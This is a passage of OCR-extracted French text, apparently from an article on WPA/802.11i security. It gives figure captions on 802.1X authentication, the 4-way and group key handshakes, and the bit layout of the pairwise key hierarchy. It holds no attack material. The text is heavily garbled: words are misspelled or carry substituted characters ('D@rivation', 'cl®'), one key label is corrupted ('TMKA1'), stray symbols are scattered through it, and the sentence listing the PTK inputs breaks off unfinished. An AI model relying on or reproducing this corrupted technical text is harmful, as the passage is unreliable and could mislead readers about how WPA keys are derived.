(Distribution de la MK — Cf phase 3)

Dérivation MK

<

802.1X/EAP Success

<
<

Figure 6. Phase 2 : L'authentiycation 802.1X

<—{ 802.1X é(— RADIUS I

_ Pas 1: Transmission de la MK de I'AS a I'AP

Pas 2 : 4-Way Handshake
Dérivation et distribution de la PTK et de l[a GTK

A

Pas 3 : Group Key Handshake
Dérivation et distribution de la GTK
(pour le renouvellement de la GTK)

<
<

Figure 7. Phase 3 : D@rivation et distribution de cl®

PRF utilisant HMAC-SHA1

X = 512 (TKIP)
X = 384 (CCMP)

Bits 0-127
KCK

Bits 128-255
KEK

Bits 256-383
TEK (=TK)

Bits 384-447
TMKA1

Bits 448-511
TMK2

Figure 8. Phase 3 : Hi®rarchie de cl® Pairwise

La PTK est d@rivRe de la PMK,
d'une cha'ne de caract re yxe, de
'adresse MAC du point d'acc s,
de l'adresse MAC du client et de

Quatre messages EAPOL-Key sont
®chang®s entre le client et le point
d'acc s durant le 4-Way Handshake.
Voyez la Figure 9.
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